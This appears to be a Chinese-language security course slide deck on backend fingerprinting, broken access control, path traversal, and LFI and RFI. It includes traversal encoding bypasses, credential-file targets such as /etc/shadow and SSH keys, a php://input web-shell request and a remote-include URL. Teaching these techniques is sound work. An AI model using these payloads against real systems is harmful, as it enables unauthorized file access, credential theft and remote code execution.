資安第三堂

後端延伸&路徑&LFI&RFI

上堂課ㄉ題解

Index

如何判斷後端

Why

每個組件都有自己的弱點

HOW

file-based VS. route-based

文件驅動路徑

HOW

file-based

src/
└── pages/
    ├── index.js
    ├── about.js
    └── contact.js
  • 網站的路徑直接對應後端實際的文件結構
  • 可能利用 ../ 進行 Path Traversal
  • 傳統的 PHP、ASP.NET 或純靜態網站。
  • 請求通常速度更快
  • 文件洩漏風險

測試有無index.php

404

運作

HOW

file-based VS. route-based

文件驅動路徑

路由驅動邏輯

HOW

route-based

src/
└── app/
    ├── page.js
    ├── about/
    │   └── page.js
    └── contact/
        └── page.js
  • 網站的 URL 與後端邏輯處理器對應,並不直接反映文件系統結構。
  • 多見於現代框架(如 Django、Flask、Laravel、Express.js)
  • 文件的直接訪問通常被禁止
  • 嘗試構造未經授權的請求,測試後端控制器是否存在過濾漏洞。

測試有無"/"路徑

404

運作

HOW

Wappalyzer

  • 瀏覽器擴充功能
  • 可以看到蒐集到網站的資訊

HOW(補充)

當一個網站有SSTI漏洞時,可以利用{{7*7}}來判斷後端是甚麼模板

Broken Access Control

what

  • 無效的存取控管,它是由 2013 年的兩項指標所合併的

    • 「不安全的物件參考(Insecure Direct Object References)」

    • 「不安全的功能控管(Missing Function Level Access Control)

  • 從第五名移上來; 94% 被測試的應用程式都有驗測到某種類別權限控制失效的問題。在權限控制失效這個類別中被對應到的 34 個 CWEs 在驗測資料中出現的次數都高於其他的弱點類別。

​水平越權

相同權限

A得到B的身分

https: /example.com?user=00001

https: /example.com?user=00002

​垂直越權

不同權限

一般身分獲得管理員身分

https: /example.com?user=Liar

https: /example.com?user=admin

exploit

  • 攔截封包
    • F12
    • Network
  • 查看封包結構
    • 參數
  • 修改封包
    • cookie : role=admin
    • Referer : Referer: /admin
    • X-Forwarded-For : localhost
  • 重送封包
    • 檢查response
      • 可訪問到非自身權限可查看內容:深入攻擊
      • 否:尋找其他疑點

Path Traversal

what

路徑遍歷(Path Traversal)就像想像網站是一個博物館,裡面有許多房間,其中有些房間是 Staff Only 而且門上了鎖不讓訪客進入,但有趣的是博物館裡的每一個房間都有通風口,只要知道房間位置,就可以透過其他房間的通風口前往 Staff Only 的房間獲得所有你想要的資料。

  • 也被稱目錄遍歷(Directory Traversal)
  • 點點斜線攻擊(Dot dot slash attack)
  • 利用應用程序處理文件路徑的漏洞,讓攻擊者能夠訪問未經授權的文件或目錄

HOW

Linux 中,目錄的顯示是 / Users / hello / Desktop / file

輸入 cd ../ 指令時,當前的目錄就會回到上一層

SO?

當這個指令是任一使用者測試在網站 URL 上輸入 ../ 都可以成功執行回到網站目錄上一層的時候問題就大條了

HOW

嘗試訪問目錄外的路徑

https://www.example.com/../../../../some dir/some file

藉由多次的 ../ 來超脫當前的目錄,訪問不在目錄下的資料。

HOW

  • 尾巴有/
    • 目錄
    • ex:https://www.example.com/../some dir/
    • 伺服器會在該目錄中查找預設文檔,例如index.html
  • 沒有/
    • 檔案
    • ex:https://www.example.com/../some file
    • if沒有,伺服器可能會返回禁止頁面

HOW

BUT

只要不允許../的出現,那麼針對路徑遍歷的攻擊也就無用武之地了吧?

但我們可是駭客欸

怎麼可能那麼乖

不讓我們用我們就換個方式用:happy_mention:

HOW

HTML Encoder:這是為了避免特殊符號造成的顯示問題,以及避免HTML 將 URL 中的特殊符號視為語法而產生的編碼

知道這個能幹嘛?
不讓我們打../我們就打轉換成HTML Encoder的../吧:D

<script>alert(1);</script>

%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E

HOW

  • URL 編碼
    • %2e%2e%2f 代表 ../
    • %2e%2e%2e%2e%2f 代表 ....//
  • 雙寫編碼 (Double Encoding)
    • %252e%252e%252f(解碼兩次後為 ../)
  • 混合符號
    • ..%2f

 

 

HOW

  • 截斷技巧 (Null Byte Injection)
    • 使用 Null Byte (%00) 可以截斷後續的字符串處理
    • PHP等語言早期漏洞
    • ex:file=../../etc/passwd%00
  • 拼接符號注入
    • 使用特殊符號與路徑拼接,繞過檢查或過濾。
    • ex:file=....//....//etc/passwd

LFI & RFI

LFI

  • 全名Local File Inclusion 
  • 引入Server本地端的文件(檔案),而去訪問敏感(或預期外)檔案的攻擊手法。
  • 成因
    • 後端未驗證是否為合法路徑
    • PHP 中可能有問題的函式
      • include()
      • include_once()
      • require()
      • require_once
      • fopen()
        file_get_contents()
    • 被引入之後會被當作 PHP 程式碼解析

HOW

嘗試讀取目錄中的系統檔案

https://www.example.com/get-files?file=/etc/passwd

藉由 /etc/passwd 來嘗試直接讀取系統檔案

有可能藉此解讀 root user 的密碼

  • 敏感路徑
    • /etc/passwd -> 帳號資訊
    • /etc/shadow ->密碼
    • /etc/httpd/conf/httpd.conf -> Apache設定
      /root/.ssh/id_rsa -> ssh key

HOW

可以修改內容的檔案

https: /example.com/?file=/tmp/sess_{session_name}
  • /var/log/apache2/access.log
  • /var/log/httpd/access.log
  • /proc/self/environ
  • /tmp/sess_session_name

注入惡意代碼,並利用 LFI 漏洞包含這些文件,最終實現惡意代碼執行(甚至是 RCE)

HOW

php中的偽協議

file://
http://
php:// #php://filter , php://imput..
zip://
phar://

利用 PHP 提供的 偽協議(Wrapper) 來進一步擴大攻擊範圍,達成文件讀取或代碼執行的目的

php://filter 用於讀取源代碼

php://input可以將惡意代碼放入 HTTP 請求體中

php://memory 和 php://temp創建臨時存儲空間

data://可以通過 data:// 注入並執行代碼

POST /?file=php://input HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

<?php system($_GET['cmd']); ?>

RFI

  • 全名Remote File Include
  • 引入其他伺服器的惡意檔案
  • 前提是 PHP 有開啟 allow_url_fopen = On 與 allow_url_include=on

HOW

嘗試使網站引用外部文件或腳本

https://www.example.com/get-files?file=http://other-site.com/malicius-code.php

將其他網站中的文件包含到當前網站的目錄,讓系統去引用攻擊者的惡意外部文件或腳本

小小小練習:D

截止是12/18 12:00AMㄛ

Made with Slides.com